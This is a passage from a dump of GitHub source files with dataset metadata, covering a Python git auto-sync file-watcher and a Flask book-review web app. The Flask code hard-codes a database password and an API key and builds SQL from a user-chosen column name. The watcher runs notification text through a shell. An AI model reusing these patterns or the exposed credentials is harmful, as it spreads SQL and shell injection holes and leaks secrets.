\"/watcher/impl/fsevent.py\",\n \"repo_name\": \"konker/syncilainen\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n#\\n# watcher.impl.fsevent\\n# \\n# MacFSEvents implementation of the EventWatcher interface (Mac OS X)\\n#\\n# Authors: Konrad Markus <konker@gmail.com>\\n#\\n\\nimport fsevents\\nimport logging\\n\\n\\nclass EventImpl(object):\\n def __init__(self, rep):\\n # 'cookie', 'mask', 'name'\\n if rep:\\n self.pathname = rep.name\\n self.mask = rep.mask\\n else:\\n self.pathname = ''\\n self.mask = 0\\n\\n def __str__(self):\\n return \\\"fsevent.EventImpl: %s, %s\\\" % (self.mask, self.pathname)\\n\\n\\nclass EventWatcherImpl(object):\\n def __init__(self, watch_directory, action):\\n self.handler = EventHandlerImpl(action)\\n\\n self._observer = fsevents.Observer()\\n self._stream = fsevents.Stream(self.handler, watch_directory, file_events=True)\\n logging.info(\\\"Using EventWatcher: fsevents\\\")\\n\\n def start(self):\\n logging.info(\\\"Starting: %s\\\" % self)\\n self._observer.schedule(self._stream)\\n self._observer.start()\\n\\n def stop(self):\\n logging.info(\\\"Stopping: %s\\\" % self)\\n self._observer.unschedule(self._stream)\\n self._observer.stop()\\n\\n\\nclass EventHandlerImpl(object):\\n def __init__(self, action):\\n self.action = action\\n\\n def __call__(self, event):\\n self.action.callback(EventImpl(event))\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6470588445663452,\n \"alphanum_fraction\": 0.6574394702911377,\n \"avg_line_length\": 23.08333396911621,\n \"blob_id\": \"0b7db456af15f9329ef32d191ebbd81fd88a58bd\",\n \"content_id\": \"3cd912b5bf824c711b3df4722a70fb30d23c3fc0\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 289,\n \"license_type\": \"permissive\",\n \"max_line_length\": 57,\n \"num_lines\": 12,\n \"path\": \"/notifier/impl/dummy.py\",\n \"repo_name\": \"konker/syncilainen\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import logging\\n\\nNORMAL_LEVEL_IMPL = 0\\nERROR_LEVEL_IMPL = 1\\n\\nclass NotifierImpl(object):\\n def __init__(self, title, disable_after_n_errors=-1):\\n self.title = title\\n logging.info(\\\"Using Notifier: dummy\\\")\\n\\n def notify(self, message, level=NORMAL_LEVEL_IMPL):\\n pass\\n\"\n },\n {\n \"alpha_fraction\": 0.7264721989631653,\n \"alphanum_fraction\": 0.7330765128135681,\n \"avg_line_length\": 38.5,\n \"blob_id\": \"3364857995b1f6b0b719a33bcd1d98fdcc72f88f\",\n \"content_id\": \"9dc8da482eb454975066a8ff5760f8f1dde21473\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1817,\n \"license_type\": \"permissive\",\n \"max_line_length\": 72,\n \"num_lines\": 46,\n \"path\": \"/lib/json.py\",\n \"repo_name\": \"konker/syncilainen\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#\\n# Copyright 2009 Helsinki Institute for Information Technology\\n# and the authors.\\n#\\n# Authors: Ken Rimey <rimey@hiit.fi>\\n#\\n\\n# Permission is hereby granted, free of charge, to any person\\n# obtaining a copy of this software and associated documentation files\\n# (the \\\"Software\\\"), to deal in the Software without restriction,\\n# including without limitation the rights to use, copy, modify, merge,\\n# publish, distribute, sublicense, and/or sell copies of the Software,\\n# and to permit persons to whom the Software is furnished to do so,\\n# subject to the following conditions:\\n#\\n# The above copyright notice and this permission notice shall be\\n# included in all copies or substantial portions of the Software.\\n#\\n# THE SOFTWARE IS PROVIDED \\\"AS IS\\\", WITHOUT WARRANTY OF ANY KIND,\\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\\n# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\\n# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\\n# CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\\n# TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\\n# SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\\n\\nfrom __future__ import absolute_import\\n\\ntry:\\n import json # Python 2.6\\nexcept ImportError:\\n import simplejson as json # Python 2.5\\n\\ndump = json.dump\\ndumps = json.dumps\\nload = json.load\\n\\ndef loads(s, *args, **kwargs):\\n # When its argument is of type str, loads() decodes strings as\\n # either str or unicode depending on whether simplejson's speedups\\n # are installed (at least this is true in simplejson 2.0.7). It\\n # always decodes strings as unicode when the argument to loads()\\n # is of type unicode.\\n if isinstance(s, str):\\n s = s.decode('utf-8')\\n return json.loads(s, *args, **kwargs)\\n\"\n },\n {\n \"alpha_fraction\": 0.5960490703582764,\n \"alphanum_fraction\": 0.5974114537239075,\n \"avg_line_length\": 24.736841201782227,\n \"blob_id\": \"3fc62093fd1534f2a773ed27eede44bfbd86d5d8\",\n \"content_id\": \"be42f54baa106d2c37881495a33ec6f4bee7c41f\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1468,\n \"license_type\": \"permissive\",\n \"max_line_length\": 71,\n \"num_lines\": 57,\n \"path\": \"/watcher/impl/inotify.py\",\n \"repo_name\": \"konker/syncilainen\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n#\\n# watcher.impl.inotify\\n# \\n# pyinotify implementation of the EventWatcher interface (Linux)\\n#\\n# Authors: Konrad Markus <konker@gmail.com>\\n#\\n\\nimport pyinotify\\nimport logging\\n\\n\\nclass EventImpl(object):\\n def __init__(self, rep):\\n # 'dir', 'mask', 'maskname', 'name', 'path', 'pathname', 'wd'\\n if rep:\\n self.pathname = rep.pathname\\n self.mask = rep.mask\\n else:\\n self.pathname = ''\\n self.mask = 0\\n\\n def __str__(self):\\n return \\\"inotify.EventImpl: %s, %s\\\" % (self.mask, self.pathname)\\n\\n\\nclass EventWatcherImpl(object):\\n def __init__(self, watch_directory, action):\\n self.handler = EventHandlerImpl(action)\\n\\n mask = pyinotify.IN_ATTRIB\\n mask |= pyinotify.IN_CREATE\\n mask |= pyinotify.IN_DELETE\\n mask |= pyinotify.IN_MODIFY\\n mask |= pyinotify.IN_MOVED_FROM\\n mask |= pyinotify.IN_MOVED_TO\\n\\n self.__wm = pyinotify.WatchManager()\\n self.__notifier = pyinotify.Notifier(self.__wm, self.handler)\\n self.__wm.add_watch([watch_directory], mask, rec=True)\\n logging.info(\\\"Using EventWatcher: inotify\\\")\\n\\n def start(self):\\n self.__notifier.loop()\\n\\n def stop(self):\\n #[FIXME: something here?]\\n pass\\n\\n\\nclass EventHandlerImpl(pyinotify.ProcessEvent):\\n def __init__(self, action):\\n self.action = action\\n\\n def process_default(self, event):\\n self.action.callback(EventImpl(event))\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6113861203193665,\n \"alphanum_fraction\": 0.617986798286438,\n \"avg_line_length\": 28.414634704589844,\n \"blob_id\": \"a5fc64c745cc67ce707394dc2316e34587573e45\",\n \"content_id\": \"99476a48a0af3d11ad4a4d00ecc4f6fa9e830279\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1212,\n \"license_type\": \"permissive\",\n \"max_line_length\": 77,\n \"num_lines\": 41,\n \"path\": \"/notifier/impl/notifysend.py\",\n \"repo_name\": \"konker/syncilainen\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n#\\n# watcher.impl.notifysend\\n# \\n# notify-send implementation of the Notifier interface (Linux)\\n#\\n# Authors: Konrad Markus <konker@gmail.com>\\n#\\n\\nimport logging\\nimport subprocess\\nfrom shell.cmd import exec_cmd, exec_cmd_out\\n\\n# try to locate the notify-send command line tool, or raise ImportError\\nNOTIFY_SEND = exec_cmd_out(\\\"which notify-send\\\").strip() \\nif NOTIFY_SEND == '':\\n raise ImportError()\\n\\nNORMAL_LEVEL_IMPL = 0\\nERROR_LEVEL_IMPL = 1\\n\\nclass NotifierImpl(object):\\n def __init__(self, title, disable_after_n_errors=-1):\\n self.title = title\\n self.disable_after_n_errors = disable_after_n_errors\\n self._consecutive_errors = 0\\n logging.info(\\\"Using Notifier: %s\\\" % NOTIFY_SEND)\\n\\n def notify(self, message, level=NORMAL_LEVEL_IMPL):\\n if message == \\\"\\\":\\n return\\n\\n if level == ERROR_LEVEL_IMPL:\\n self._consecutive_errors = self._consecutive_errors + 1\\n else:\\n self._consecutive_errors = 0\\n\\n if self.disable_after_n_errors > 0:\\n if self._consecutive_errors < self.disable_after_n_errors:\\n cmd = \\\"%s \\\\\\\"%s\\\\\\\" \\\\\\\"%s\\\\\\\"\\\" % (NOTIFY_SEND, self.title, message)\\n exec_cmd(cmd)\\n \\n\\n\"\n },\n {\n \"alpha_fraction\": 0.7232289910316467,\n \"alphanum_fraction\": 0.7265238761901855,\n \"avg_line_length\": 26.545454025268555,\n \"blob_id\": \"c215a85209d754e63c710e9204c7d7d486e7fcbf\",\n \"content_id\": \"8b65ca0b59e6756f84bd90d08704f5ca18a375e0\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 607,\n \"license_type\": \"permissive\",\n \"max_line_length\": 85,\n \"num_lines\": 22,\n \"path\": \"/notifier/__init__.py\",\n \"repo_name\": \"konker/syncilainen\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n#\\n# notifier\\n# \\n# Dynamically loads a Notifier interface implementation\\n#\\n# Authors: Konrad Markus <konker@gmail.com>\\n#\\n\\ntry:\\n from impl.growlnotify import NotifierImpl, NORMAL_LEVEL_IMPL, ERROR_LEVEL_IMPL\\nexcept ImportError:\\n try:\\n from impl.notifysend import NotifierImpl, NORMAL_LEVEL_IMPL, ERROR_LEVEL_IMPL\\n except ImportError:\\n from impl.dummy import NotifierImpl, NORMAL_LEVEL_IMPL, ERROR_LEVEL_IMPL\\n\\nNORMAL_LEVEL = NORMAL_LEVEL_IMPL\\nERROR_LEVEL = ERROR_LEVEL_IMPL\\n\\ndef Notifier(title, disable_after_n_errors=-1):\\n return NotifierImpl(title, disable_after_n_errors)\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6929824352264404,\n \"alphanum_fraction\": 0.6959064602851868,\n \"avg_line_length\": 14.5,\n \"blob_id\": \"99f3bc0aff95355b25928567139fcf0a06925134\",\n \"content_id\": \"81263c90687f25139ee4e670f66b63044f3880d0\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 342,\n \"license_type\": \"permissive\",\n \"max_line_length\": 50,\n \"num_lines\": 22,\n \"path\": \"/vcs/__init__.py\",\n \"repo_name\": \"konker/syncilainen\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n#\\n# vcs\\n# \\n# Dynamically loads a VCS interface implementation\\n#\\n# Authors: Konrad Markus <konker@gmail.com>\\n#\\n\\nclass UnknownVCSException(Exception): pass\\n\\nOK = True\\nNOT_OK = False\\n\\ntry:\\n from impl.git import VCSImpl\\nexcept ImportError:\\n raise UnknownVCSException()\\n\\n\\ndef VCS(repo_directory):\\n return VCSImpl(repo_directory)\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.517163097858429,\n \"alphanum_fraction\": 0.5180141925811768,\n \"avg_line_length\": 33.54901885986328,\n \"blob_id\": \"cb954da9c4ec13f43ce2bc71483c4fcbec22644e\",\n \"content_id\": \"b3d3a505d4c24f5f77795ba5f9bbdb12ecf6932e\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3525,\n \"license_type\": \"permissive\",\n \"max_line_length\": 98,\n \"num_lines\": 102,\n \"path\": \"/actions/vcs_action.py\",\n \"repo_name\": \"konker/syncilainen\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n#\\n# actions.vcs_actions\\n# \\n# Commit to a remote VCS repository on filesystem events\\n#\\n# Authors: Konrad Markus <konker@gmail.com>\\n#\\n\\nimport logging\\nfrom datetime import datetime\\nfrom vcs import VCS, OK\\nfrom notifier import NORMAL_LEVEL, ERROR_LEVEL\\n\\nclass Action(object):\\n def __init__(self, id, watch_directory, notifier=None):\\n self.id = id\\n self.watch_directory = watch_directory\\n self.notifier = notifier\\n self.vcs = VCS(watch_directory)\\n self._working = False\\n logging.info(\\\"Using Action: vcs\\\")\\n\\n def _add_commit_push_cycle(self, event):\\n status = self.vcs.status()\\n if len(status) > 0:\\n modes,files = zip(*status)\\n\\n file_list = ','.join(files)\\n message = \\\"syncilainen[%s]: %s: %s\\\" % (self.id, datetime.now().isoformat(), file_list)\\n\\n logging.debug(\\\"%s: add\\\" % event.pathname)\\n result,error = self.vcs.add()\\n if not result == OK:\\n logging.error(\\\"%s: add\\\" % error)\\n if self.notifier:\\n self.notifier.notify(error, ERROR_LEVEL)\\n return result,error\\n\\n logging.debug(\\\"%s: commit_all\\\" % event.pathname)\\n result,error = self.vcs.commit_all(message)\\n if not result == OK:\\n return result,error\\n\\n logging.debug(\\\"%s: push\\\" % event.pathname)\\n result,error = self.vcs.push()\\n if not result == OK:\\n # fetch\\n logging.debug(\\\"%s: fetch\\\" % event.pathname)\\n result,error = self.vcs.fetch()\\n\\n # merge\\n logging.debug(\\\"%s: merge\\\" % event.pathname)\\n result,error = self.vcs.merge()\\n if not result == OK:\\n # ls_files\\n logging.debug(\\\"%s: get_unmerged\\\" % event.pathname)\\n unmerged = self.vcs.get_unmerged()\\n logging.debug(\\\"unmerged: %s\\\" % unmerged)\\n\\n for u in unmerged:\\n # save theirs as <id>.<sha1>.<filename>\\n logging.debug(\\\"%s: save_theirs\\\" % event.pathname)\\n self.vcs.save_theirs(u, id)\\n\\n # force ours to be <filename>\\n logging.debug(\\\"%s: force_ours\\\" % event.pathname)\\n self.vcs.force_ours(u)\\n\\n # recurse\\n logging.debug(\\\"%s: recurse\\\" % event.pathname)\\n return self._add_commit_push_cycle(event)\\n\\n # Everything went OK\\n return result,message\\n\\n # Nothing to do\\n return OK,\\\"\\\"\\n\\n def callback(self, event):\\n if self.vcs.ignore_path in event.pathname:\\n #logging.debug(\\\"ignoring: %s\\\" % event.pathname)\\n return\\n\\n if self._working:\\n #logging.debug(\\\"working.. ignoring: %s\\\" % event.pathname)\\n return\\n\\n self._working = True\\n\\n logging.debug(\\\"%s: _add_commit_push_cycle\\\" % event.pathname)\\n result,message = self._add_commit_push_cycle(event)\\n if not result == OK:\\n logging.error(\\\"%s: _add_commit_push_cycle\\\" % error)\\n if self.notifier:\\n self.notifier.notify(error, ERROR_LEVEL)\\n else:\\n # Everything went OK\\n logging.info(\\\"%s: OK: %s\\\" % (event.pathname, message))\\n self._working = False\\n if self.notifier:\\n self.notifier.notify(message, NORMAL_LEVEL)\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6666666865348816,\n \"alphanum_fraction\": 0.6685606241226196,\n \"avg_line_length\": 20.95833396911621,\n \"blob_id\": \"d52448071317131a92846c385ba11d62517f34e8\",\n \"content_id\": \"eefefae0eed8d1b2af5a5964962ea2c628078496\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 528,\n \"license_type\": \"permissive\",\n \"max_line_length\": 101,\n \"num_lines\": 24,\n \"path\": \"/shell/cmd.py\",\n \"repo_name\": \"konker/syncilainen\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n#\\n# shell.cmd\\n# \\n# Execute shell commands in a subprocess\\n#\\n# Authors: Konrad Markus <konker@gmail.com>\\n#\\n\\nimport subprocess\\n\\ndef exec_cmd_out(cmd, cwd=None):\\n stdout,stderr = exec_cmd(cmd, cwd)\\n return stdout\\n\\ndef exec_cmd_err(cmd, cwd=None):\\n stdout,stderr = exec_cmd(cmd, cwd)\\n return stderr\\n\\ndef exec_cmd(cmd, cwd=None):\\n pipe = subprocess.Popen(cmd, shell=True, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\\n stdout,stderr = pipe.communicate()\\n pipe.wait()\\n return stdout,stderr\\n\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":13,"string":"13"}}},{"rowIdx":2984069,"cells":{"repo_name":{"kind":"string","value":"chris65013/bibliotheca"},"repo_url":{"kind":"string","value":"https://github.com/chris65013/bibliotheca"},"snapshot_id":{"kind":"string","value":"db6725961674240a20dcb1bf22c1c7f795f0b5c2"},"revision_id":{"kind":"string","value":"258f54dce1c3b169857f9a0a6076317116cc742f"},"directory_id":{"kind":"string","value":"73f2607ef0dab42fb4594bd50f53d566ba7f6281"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-05T12:18:51.536763","string":"2021-01-05T12:18:51.536763"},"revision_date":{"kind":"timestamp","value":"2020-02-17T04:59:12","string":"2020-02-17T04:59:12"},"committer_date":{"kind":"timestamp","value":"2020-02-17T04:59:12","string":"2020-02-17T04:59:12"},"github_id":{"kind":"number","value":241022509,"string":"241,022,509"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7987616062164307,"alphanum_fraction":0.8049535751342773,"avg_line_length":45.14285659790039,"blob_id":"443435597763baaa8a97b27596d0939d703e8c60","content_id":"2594704dc5f82fd9bd9bc7bc0c5fa58c39a6a028","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":323,"license_type":"permissive","max_line_length":112,"num_lines":7,"path":"/project1/README.md","repo_name":"chris65013/bibliotheca","src_encoding":"UTF-8","text":"# Project 1\n\nWeb Programming with Python and JavaScript\n\n`books.csv` contains books information imported for this project executing `python` code written in `import.py`.\n`Templates` folder contains webpages needed for the website incoded in jinja2.\n`Static` folder contains logo and css stylesheet needed for this website\n"},{"alpha_fraction":0.6176470518112183,"alphanum_fraction":0.619099497795105,"avg_line_length":40.5175895690918,"blob_id":"5c600f6e2ab96df8d8f5b3e7d19eff480bec8feb","content_id":"6aa3e4cbd0093f2d13425d1784912698b8d7435c","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":8262,"license_type":"permissive","max_line_length":131,"num_lines":199,"path":"/project1/application.py","repo_name":"chris65013/bibliotheca","src_encoding":"UTF-8","text":"import os\nimport requests\n\nfrom flask import Flask, session, render_template, request, jsonify\nfrom flask_session import Session\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import scoped_session, sessionmaker\nfrom werkzeug.security import generate_password_hash, check_password_hash\n\napp = Flask(__name__)\n\n# Check for environment variable even though the create_engine is using the database url because I'm not very bright\nif not os.getenv(\"DATABASE_URL\"):\n raise RuntimeError(\"DATABASE_URL is not set\")\n\n# Configure session to use filesystem\napp.config[\"SESSION_PERMANENT\"] = False\napp.config[\"SESSION_TYPE\"] = \"filesystem\"\nSession(app)\n\n# Set up database\nengine = create_engine('postgres://xvfqwrzgppnzdg:0f69793a9e538a174a5c3e5c3baf3e9c701ceb3c6b27c151d7715e39a0ee9376@ec2-3-230-106-126.compute-1.amazonaws.com:5432/dc0aako6mb7lag')\n\ndb = scoped_session(sessionmaker(bind=engine))\n\n\n# Homepage\n@app.route(\"/\")\ndef index():\n status = \"Loggedout\"\n try:\n username=session[\"username\"]\n status=\"\"\n except KeyError:\n username=\"\"\n return render_template(\"index.html\", work=\"Login\", status=status, username=username)\n\n\n# Login Page\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n # Request rom /register\n if request.method == \"POST\":\n username = request.form.get(\"username\")\n # Checking if the user is registered\n if db.execute(\"SELECT id FROM userbase WHERE username= :username\", {\"username\": username}).fetchone() is not None:\n return render_template(\"login.html\", work=\"Login\",\n error_message=\"The user has already registered. Please Login.\")\n password = request.form.get(\"Password\")\n db.execute(\"INSERT INTO userbase (username, password) VALUES (:username, :password)\",\n {\"username\": username, \"password\": generate_password_hash(password)})\n db.commit()\n return render_template(\"login.html\", work=\"Login\", message=\"Success\")\n\n return render_template(\"login.html\", work=\"Login\")\n\n\n# Logout for the website\n@app.route(\"/logout\")\ndef logout():\n try:\n session.pop(\"username\")\n except KeyError:\n return render_template(\"login.html\", work=\"Login\", error_message=\"Please Login First\")\n return render_template(\"index.html\", work=\"Login\", status=\"Loggedout\")\n\n\n# Register Page\n@app.route(\"/register\")\ndef register():\n return render_template(\"login.html\", work=\"Register\")\n\n\n# Comes after logging in\n@app.route(\"/search\", methods=[\"GET\", \"POST\"])\ndef search():\n # Request from /login to log a user in\n if request.method == \"POST\":\n # Checking if the user is present, if not present show error message and redirect to /register\n username = request.form.get(\"username\")\n user = db.execute(\"SELECT id, password FROM userbase WHERE username= :username\", {\"username\": username}).fetchone()\n if user is None:\n return render_template(\"login.html\", error_message=\"The user hasn't been registered. Please register.\",\n work=\"Register\")\n\n password = request.form.get(\"Password\")\n if not check_password_hash(user.password, password):\n return render_template(\"login.html\", error_message=\"Your password doesn't match to that of \" + username +\n \". Please try again.\", work=\"Login\")\n session[\"username\"] = username\n session[\"user_id\"] = user.id\n if request.method == \"GET\" and \"username\" not in session:\n return render_template(\"login.html\", error_message=\"Please Login First\", work=\"Login\")\n return render_template(\"search.html\", username=username)\n\n\n# Page to show books as per search result\n@app.route(\"/booklist\", methods=[\"POST\"])\ndef booklist():\n if \"username\" not in session:\n return render_template(\"login.html\", error_message=\"Please Login First\", work=\"Login\")\n\n book_column = request.form.get(\"book_column\")\n query = request.form.get(\"query\")\n\n if book_column == \"year\":\n book_list = db.execute(\"SELECT * FROM books WHERE year = :query\", {\"query\": query}).fetchall()\n else:\n book_list = db.execute(\"SELECT * FROM books WHERE UPPER(\" + book_column + \") LIKE :query ORDER BY title\",\n {\"query\": \"%\" + query.upper() + \"%\"}).fetchall()\n\n if len(book_list):\n return render_template(\"booklist.html\", book_list=book_list, username=session[\"username\"])\n\n elif book_column != \"year\":\n error_message = \"We couldn't find the books you searched for.\"\n if not len(book_list):\n return render_template(\"error.html\", error_message=error_message)\n message = \"You might be searching for:\"\n return render_template(\"booklist.html\", error_message=error_message, book_list=book_list, message=message,\n username=session[\"username\"])\n else:\n return render_template(\"error.html\", error_message=\"We didn't find any book with the year you typed.\"\n \" Please check for errors and try again.\")\n\n\n# Detail about book that matches id\n@app.route(\"/detail/<int:book_id>\", methods=[\"GET\", \"POST\"])\ndef detail(book_id):\n if \"username\" not in session:\n return render_template(\"login.html\", error_message=\"Please Login First\", work=\"Login\")\n\n book = db.execute(\"SELECT * FROM books WHERE id = :book_id\", {\"book_id\": book_id}).fetchone()\n if book is None:\n return render_template(\"error.html\", error_message=\"We got an invalid book id\"\n \". Please check for the errors and try again.\")\n\n # Summiting review.\n if request.method == \"POST\":\n user_id = session[\"user_id\"]\n rating = request.form.get(\"rating\")\n comment = request.form.get(\"comment\")\n if db.execute(\"SELECT id FROM reviews WHERE user_id = :user_id AND book_id = :book_id\",\n {\"user_id\": user_id, \"book_id\": book_id}).fetchone() is None:\n db.execute(\n \"INSERT INTO reviews (user_id, book_id, rating, comment) VALUES (:user_id, :book_id, :rating, :comment)\",\n {\"book_id\": book.id, \"user_id\": user_id, \"rating\": rating, \"comment\": comment})\n else:\n db.execute(\n \"UPDATE reviews SET comment = :comment, rating = :rating WHERE user_id = :user_id AND book_id = :book_id\",\n {\"comment\": comment, \"rating\": rating, \"user_id\": user_id, \"book_id\": book_id})\n db.commit()\n\n # Processing json from goodreads\n res = requests.get(\"https://www.goodreads.com/book/review_counts.json\",\n params={\"key\": \"ciOVC4V8WZ9EtWjYCdxRUg\", \"isbns\": book.isbn}).json()[\"books\"][0]\n\n ratings_count = res[\"ratings_count\"]\n average_rating = res[\"average_rating\"]\n reviews = db.execute(\"SELECT * FROM reviews WHERE book_id = :book_id\", {\"book_id\": book.id}).fetchall()\n userbase = []\n for review in reviews:\n username = db.execute(\"SELECT username FROM userbase WHERE id = :user_id\", {\"user_id\": review.user_id}).fetchone().username\n userbase.append((username, review))\n\n return render_template(\"detail.html\", book=book, userbase=userbase,\n ratings_count=ratings_count, average_rating=average_rating, username=session[\"username\"])\n\n\n# Page for the website's API\n@app.route(\"/api/<ISBN>\", methods=[\"GET\"])\ndef api(ISBN):\n book = db.execute(\"SELECT * FROM books WHERE isbn = :ISBN\", {\"ISBN\": ISBN}).fetchone()\n if book is None:\n return render_template(\"error.html\", error_message=\"We got an invalid ISBN. \"\n \"Please check for the errors and try again.\")\n reviews = db.execute(\"SELECT * FROM reviews WHERE book_id = :book_id\", {\"book_id\": book.id}).fetchall()\n count = 0\n rating = 0\n for review in reviews:\n count += 1\n rating += review.rating\n if count:\n average_rating = rating / count\n else:\n average_rating = 0\n\n return jsonify(\n title=book.title,\n author=book.author,\n year=book.year,\n isbn=book.isbn,\n review_count=count,\n average_score=average_rating\n )\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n"},{"alpha_fraction":0.4695759117603302,"alphanum_fraction":0.4800245761871338,"avg_line_length":26.593219757080078,"blob_id":"44e18b413dc616879aeab96c58e18e11ff5dded2","content_id":"d829c004db447f09b0a9c1d671725815e53b1a7c","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"HTML","length_bytes":1627,"license_type":"permissive","max_line_length":76,"num_lines":59,"path":"/project1/templates/detail.html","repo_name":"chris65013/bibliotheca","src_encoding":"UTF-8","text":"{% extends \"base.html\" %}\n\n{% block anchor %}\n <a class=\"nav-link \" href='{{ url_for('logout') }}'>\n Logout <strong>{{ username }}</strong>\n </a>\n{% endblock %}\n\n{% block body %}\n <h1>Book Details:</h1>\n <p>\n ISBN: {{ book.isbn }}<br>\n Title: {{ book.title }}<br>\n Author: {{ book.author }}<br>\n Year: {{ book.year }}<br>\n </p>\n\n <br><h3>Goodreads Rating:</h3>\n <p>\n Total Number of Ratings : {{ ratings_count }} <br>\n Average Rating : {{ average_rating }}<br>\n </p>\n\n <h3>Reviews:</h3>\n <div class=\"rating_local\">\n {% for username, review in userbase %}\n <h5>{{ username }}</h5>\n <strong>Rating: </strong> {{ review.rating }} <br>\n <h6>Comment:</h6>\n <p>\n {{ review.comment }}\n </p>\n {% endfor %}\n\n </div>\n\n <br><h3>User Ratings</h3>\n <form action = \"{{ url_for('detail', book_id=book.id) }}\" method=\"post\">\n\n <div class=\"form-group\">\n <label for=\"rating\">Rating ( Out of 5 )</label>\n <select class=\"form-control\" name=\"rating\" id=\"rating\">\n {% for count in range(5) %}\n <option value=\"{{ count+1 }}\">{{ count+1 }}</option>\n {% endfor %}\n </select>\n </div>\n <div class=\"form-group\">\n <label for=\"comment\">Comment:</label>\n <textarea class=\"form-control\" rows=\"5\" name=\"comment\"></textarea>\n </div>\n\n <div class=\"form-group\">\n <button class=\"btn btn-primary\" type=\"submit\">Submit</button>\n </div>\n\n </form>\n\n{% endblock %}"},{"alpha_fraction":0.6062052249908447,"alphanum_fraction":0.6133651733398438,"avg_line_length":45.592594146728516,"blob_id":"90ad59e2cbf3ba818ab3d6e0971cd5a5c1775799","content_id":"7da6cc9ffdb87dc3a61f9c656341c43646f57cd1","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"HTML","length_bytes":1257,"license_type":"permissive","max_line_length":138,"num_lines":27,"path":"/project1/templates/homepage.html","repo_name":"chris65013/bibliotheca","src_encoding":"UTF-8","text":"{% extends 'base.html' %}\n\n{% block anchor %}\n {% if status == \"Loggedout\" %}\n <a class=\"nav-link \" href='{{ url_for('login') }}' xmlns=\"http://www.w3.org/1999/html\">\n Login\n </a>\n {% else %}\n <a class=\"nav-link \" href='{{ url_for('logout') }}'>\n Logout <strong>{{ user_email }}</strong>\n </a>\n {% endif %}\n\n{% endblock %}\n\n{% block body %}\n <br>\n <p>\n Welcome to <strong>Book Sansar</strong> which literal translation is \"Word of Books\". Knowing \"A book is a man's best friend.\",\n we have brought you a collection of more than 4500 books. Here you can find with their detail information like ISBN, year, author,\n etc. You can see the rating for the book you desired after you logged in here. You can submit review to any book you like and\n comment it to help other readers know how is the book. We have added \"Goodreads\" API too, from where you can see a book's global\n desire with its rating number and average rating from readers world wide. We have also created an API from our site, just in case\n you want get information from our database and build you own web application or website.\n </p>\n\n{% endblock %}"},{"alpha_fraction":0.701127827167511,"alphanum_fraction":0.7048872113227844,"avg_line_length":23.18181800842285,"blob_id":"58bc4027a11055459d696c4cf43eb92ab74f7bdb","content_id":"eff59d3bb6c5bb3b546d9b8b76d87a2769a43803","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"SQL","length_bytes":532,"license_type":"permissive","max_line_length":88,"num_lines":22,"path":"/project1/create.sql","repo_name":"chris65013/bibliotheca","src_encoding":"UTF-8","text":"CREATE TABLE books (\n id SERIAL PRIMARY KEY,\n isbn VARCHAR UNIQUE NOT NULL,\n title VARCHAR NOT NULL,\n author VARCHAR NOT 